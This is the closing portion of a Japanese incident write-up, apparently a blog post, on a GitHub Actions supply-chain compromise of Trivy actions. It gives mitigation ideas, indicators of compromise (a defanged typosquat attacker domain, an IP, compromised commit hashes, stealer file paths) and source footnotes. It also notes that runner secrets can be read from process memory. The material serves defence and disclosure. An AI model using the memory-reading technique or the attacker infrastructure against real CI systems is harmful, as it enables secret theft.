この手法が示唆するのは、GitHub Actions Runnerのシークレット保護が「ログ出力のマスキング」と「環境変数への非露出」を対象としており、同一マシン上で動作する悪意あるコードからのメモリ読み取りは想定されていないという点です。CI/CDパイプラインでサードパーティのActionを実行するということは、そのActionにRunner上のシークレットへのアクセスを暗黙的に許可していることと等しいといえます。

筆者はこの領域に明るくはありませんが、たとえば Runner.Worker プロセスに prctl(PR_SET_DUMPABLE, 0) を適用して /proc/<pid>/mem 経由の読み取りを防止するといった対策は考えられるかもしれません。ただしこれはGitHub側の実装変更を必要とします。ユーザー側の対策としては、permissions: ブロックでトークン権限を必要最小限に制限すること、信頼できないActionの実行を避けること、そしてSelf-Hosted RunnerではActionの実行をコンテナ内に隔離することが有効です。

(これ、結局 Runner 上で動くプロセスが root 取れる時点でどうしようもないことは多そうで、こういうところから潰していきたい……が、なあ。ぐぬぬ2)

IoCs

ネットワーク

種別 備考
ドメイン scan[.]aquasecurtiy[.]org 攻撃者のサーバー。”security” のtyposquat
IP 45[.]148[.]10[.]212 TECHOFF SRV LIMITED, Amsterdam

GitHub

種別
侵害commit (setup-trivy) 8afa9b9f9183b4e00c46e2b82d34047e3c177bd0
侵害commit (trivy-action) ddb9da4475c1cef7d5389062bdfdfbdbd1394648
侵害commit (trivy v0.69.4) 1885610c6a34811c8296416ae69f568002ef11ec
侵害commit (actions/checkout) 70379aad1a8b40919ce8b382d3cd7d0315cde1d0
侵害Action参照 aquasecurity/setup-trivy@8afa9b9
フォールバックリポジトリ名 tpcp-docs(被害者アカウントに作成される)
フォールバックアセット名 tpcp.tar.gz
攻撃グループ署名 ## TeamPCP Cloud stealer(コード末尾のコメント)

ファイルシステム

パス 説明
/tmp/runner_collected_*.txt 収集データの一時保存先
  1. Chainguard, “What the fork? Imposter commits in GitHub Actions and CI/CD”; Aikido Security, “The Fork Awakens: Why GitHub’s Invisible Networks Break Package Security”  2

  2. Gitのcommitオブジェクトにおける authorcommitter のフィールドは git commit --authorGIT_AUTHOR_NAME/GIT_COMMITTER_NAME 環境変数で任意の値を設定できるため、commitの著者名・メールアドレス・日時はいずれも詐称が可能である。GPG署名(git commit -S)はこの問題に対する検証手段の一つであり、GitHubでは署名付きcommitに Verified バッジが表示される。 

  3. StepSecurity, “Trivy Compromised a Second Time” (2026年3月) 

Written on March 20, 2026